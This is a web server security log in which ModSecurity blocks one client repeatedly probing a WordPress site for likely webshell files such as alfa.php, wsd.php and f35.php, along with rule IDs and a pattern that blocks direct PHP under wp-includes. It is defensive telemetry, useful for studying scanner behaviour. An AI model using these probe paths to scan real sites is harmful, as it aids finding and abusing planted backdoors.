[Thu Feb 26 21:09:26.497737 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:56021] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aaBGBuA33x90V6yYHajj6gAAAUo"]
[Thu Feb 26 21:09:26.968856 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:38635] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aaBGBuA33x90V6yYHajj8AAAAU4"]
[Thu Feb 26 21:09:27.440408 2026] [:error] [pid 3883:tid 3910] [client 20.216.146.160:11293] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aaBGB-A33x90V6yYHajj9wAAAVg"]
[Thu Feb 26 21:09:27.916915 2026] [:error] [pid 25311:tid 25327] [client 20.216.146.160:12305] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aaBGB9fdM__yZAgJFSve8wAAAY0"]
[Thu Feb 26 21:09:28.391836 2026] [:error] [pid 25311:tid 25333] [client 20.216.146.160:2696] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aaBGCNfdM__yZAgJFSve9wAAAZM"]
[Thu Feb 26 21:09:28.864715 2026] [:error] [pid 20419:tid 20434] [client 20.216.146.160:2744] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aaBGCO3DVDvMfTYYUBVT3AAAAcw"]
[Thu Feb 26 21:09:29.337192 2026] [:error] [pid 20419:tid 20445] [client 20.216.146.160:36248] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aaBGCe3DVDvMfTYYUBVT3QAAAdc"]
[Thu Feb 26 21:09:29.809946 2026] [:error] [pid 3883:tid 3904] [client 20.216.146.160:11541] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaBGCeA33x90V6yYHajkBgAAAVI"]
[Thu Feb 26 21:09:30.278975 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:34072] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaBGCuA33x90V6yYHajkCgAAAVA"]
[Thu Feb 26 21:09:30.757740 2026] [:error] [pid 25311:tid 25315] [client 20.216.146.160:30070] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaBGCtfdM__yZAgJFSvfAQAAAYE"]
[Thu Feb 26 21:09:31.239422 2026] [:error] [pid 44444:tid 44466] [client 20.216.146.160:35407] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aaBGC22sMNmj-yekUk0ZcAAAAhA"]
[Thu Feb 26 21:09:31.711459 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:40287] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaBGC22sMNmj-yekUk0ZcgAAAhU"]
[Thu Feb 26 21:09:32.183587 2026] [:error] [pid 44444:tid 44464] [client 20.216.146.160:40304] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaBGDG2sMNmj-yekUk0ZdAAAAg4"]
[Thu Feb 26 21:09:32.652070 2026] [:error] [pid 44444:tid 44457] [client 20.216.146.160:33121] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaBGDG2sMNmj-yekUk0ZdQAAAgc"]
[Thu Feb 26 21:09:33.124447 2026] [:error] [pid 20419:tid 20442] [client 20.216.146.160:38616] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aaBGDe3DVDvMfTYYUBVT4QAAAdQ"]
[Thu Feb 26 21:09:33.593029 2026] [:error] [pid 20419:tid 20422] [client 20.216.146.160:56017] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaBGDe3DVDvMfTYYUBVT5AAAAcA"]
[Thu Feb 26 21:09:34.062751 2026] [:error] [pid 54990:tid 55017] [client 20.216.146.160:38620] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBGDntr2qmt_mBhH2wnhgAAABg"]
[Thu Feb 26 21:09:34.532660 2026] [:error] [pid 20419:tid 20423] [client 20.216.146.160:23215] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBGDu3DVDvMfTYYUBVT6AAAAcE"]
[Thu Feb 26 21:09:35.001996 2026] [:error] [pid 55051:tid 55059] [client 20.216.146.160:40269] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBGDwmK1w2kZvh5eLGpAwAAAIU"]
[Thu Feb 26 21:09:35.472335 2026] [:error] [pid 55051:tid 55060] [client 20.216.146.160:42208] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jane.php"] [unique_id "aaBGDwmK1w2kZvh5eLGpBQAAAIY"]
[Thu Feb 26 21:09:35.942096 2026] [:error] [pid 54991:tid 55026] [client 20.216.146.160:38615] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jane.php"] [unique_id "aaBGD94Zx-mJ8gbRB2jkdAAAAEY"]
[Thu Feb 26 21:09:36.416062 2026] [:error] [pid 54991:tid 55024] [client 20.216.146.160:40305] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jane.php"] [unique_id "aaBGEN4Zx-mJ8gbRB2jkdgAAAEQ"]
[Thu Feb 26 21:09:36.887470 2026] [:error] [pid 55618:tid 55637] [client 20.216.146.160:11836] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jane.php"] [unique_id "aaBGEB61Vrh12f_8oWQKigAAARA"]
[Thu Feb 26 21:09:37.365579 2026] [:error] [pid 55618:tid 55629] [client 20.216.146.160:38634] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/css.php"] [unique_id "aaBGER61Vrh12f_8oWQKiwAAAQg"]
[Thu Feb 26 21:09:37.835544 2026] [:error] [pid 20419:tid 20430] [client 20.216.146.160:11551] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/css.php"] [unique_id "aaBGEe3DVDvMfTYYUBVT6QAAAcg"]
[Thu Feb 26 21:09:38.309074 2026] [:error] [pid 55618:tid 55642] [client 20.216.146.160:33890] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/css.php"] [unique_id "aaBGEh61Vrh12f_8oWQKjQAAARU"]
[Thu Feb 26 21:09:38.778545 2026] [:error] [pid 55618:tid 55634] [client 20.216.146.160:33914] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/css.php"] [unique_id "aaBGEh61Vrh12f_8oWQKjgAAAQ0"]
[Thu Feb 26 21:09:39.250033 2026] [:error] [pid 20419:tid 20429] [client 20.216.146.160:31930] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBGE-3DVDvMfTYYUBVT7wAAAcc"]
[Thu Feb 26 21:09:39.721378 2026] [:error] [pid 20419:tid 20442] [client 20.216.146.160:44514] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBGE-3DVDvMfTYYUBVT8AAAAdQ"]
[Thu Feb 26 21:09:40.191022 2026] [:error] [pid 55051:tid 55065] [client 20.216.146.160:38620] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBGFAmK1w2kZvh5eLGpCQAAAIs"]
[Thu Feb 26 21:09:40.659892 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:33147] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBGFOA33x90V6yYHajkHAAAAVA"]
[Thu Feb 26 21:09:41.145698 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:42220] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBGFeA33x90V6yYHajkHQAAAUY"]
[Thu Feb 26 21:09:41.616447 2026] [:error] [pid 20419:tid 20433] [client 20.216.146.160:11804] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBGFe3DVDvMfTYYUBVT9AAAAcs"]
[Thu Feb 26 21:09:42.086972 2026] [:error] [pid 25311:tid 25318] [client 20.216.146.160:44513] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBGFtfdM__yZAgJFSvfOAAAAYQ"]
[Thu Feb 26 21:09:42.559141 2026] [:error] [pid 25311:tid 25316] [client 20.216.146.160:38598] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBGFtfdM__yZAgJFSvfOgAAAYI"]
[Thu Feb 26 21:09:43.029244 2026] [:error] [pid 25311:tid 25334] [client 20.216.146.160:48063] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxxx.php"] [unique_id "aaBGF9fdM__yZAgJFSvfPQAAAZQ"]
[Thu Feb 26 21:09:43.498402 2026] [:error] [pid 25311:tid 25326] [client 20.216.146.160:45498] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxxx.php"] [unique_id "aaBGF9fdM__yZAgJFSvfPwAAAYw"]
[Thu Feb 26 21:09:43.973722 2026] [:error] [pid 55618:tid 55641] [client 20.216.146.160:33872] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxxx.php"] [unique_id "aaBGFx61Vrh12f_8oWQKjwAAARQ"]
[Thu Feb 26 21:09:44.445756 2026] [:error] [pid 25311:tid 25328] [client 20.216.146.160:40272] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxxx.php"] [unique_id "aaBGGNfdM__yZAgJFSvfRQAAAY4"]
[Thu Feb 26 21:09:44.921896 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:45470] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aaBGGOA33x90V6yYHajkIgAAAVM"]
[Thu Feb 26 21:09:45.393446 2026] [:error] [pid 55618:tid 55639] [client 20.216.146.160:31906] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aaBGGR61Vrh12f_8oWQKkgAAARI"]
[Thu Feb 26 21:09:45.866476 2026] [:error] [pid 3883:tid 3903] [client 20.216.146.160:16550] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aaBGGeA33x90V6yYHajkJAAAAVE"]
[Thu Feb 26 21:09:46.338044 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:11790] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class.php"] [unique_id "aaBGGuA33x90V6yYHajkJQAAAUM"]
[Thu Feb 26 21:09:46.830406 2026] [:error] [pid 55051:tid 55067] [client 20.216.146.160:20508] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aaBGGgmK1w2kZvh5eLGpCgAAAI0"]
[Thu Feb 26 21:09:47.301987 2026] [:error] [pid 44444:tid 44469] [client 20.216.146.160:44518] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aaBGG22sMNmj-yekUk0ZegAAAhM"]
[Thu Feb 26 21:09:47.777001 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:16567] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aaBGG-A33x90V6yYHajkKAAAAUo"]
[Thu Feb 26 21:09:48.250673 2026] [:error] [pid 20419:tid 20445] [client 20.216.146.160:44529] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aaBGHO3DVDvMfTYYUBVT-gAAAdc"]
[Thu Feb 26 21:09:48.719676 2026] [:error] [pid 25311:tid 25319] [client 20.216.146.160:31929] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBGHNfdM__yZAgJFSvfWwAAAYU"]
[Thu Feb 26 21:09:49.190293 2026] [:error] [pid 3883:tid 3907] [client 20.216.146.160:16560] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBGHeA33x90V6yYHajkKQAAAVU"]
[Thu Feb 26 21:09:49.661514 2026] [:error] [pid 55051:tid 55072] [client 20.216.146.160:44484] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBGHQmK1w2kZvh5eLGpDAAAAJI"]
[Thu Feb 26 21:09:50.130215 2026] [:error] [pid 55618:tid 55638] [client 20.216.146.160:45456] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aaBGHh61Vrh12f_8oWQKlgAAARE"]
[Thu Feb 26 21:09:50.598807 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:44494] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aaBGHm2sMNmj-yekUk0ZfAAAAgY"]
[Thu Feb 26 21:09:51.070601 2026] [:error] [pid 54990:tid 55004] [client 20.216.146.160:10278] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aaBGH3tr2qmt_mBhH2wniAAAAAs"]
[Thu Feb 26 21:09:51.540918 2026] [:error] [pid 3883:tid 3891] [client 20.216.146.160:33317] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aaBGH-A33x90V6yYHajkKwAAAUU"]
[Thu Feb 26 21:09:52.016653 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:23172] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aaBGIOA33x90V6yYHajkMQAAAUg"]
[Thu Feb 26 21:09:52.488627 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:11578] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBGIOA33x90V6yYHajkMgAAAUI"]
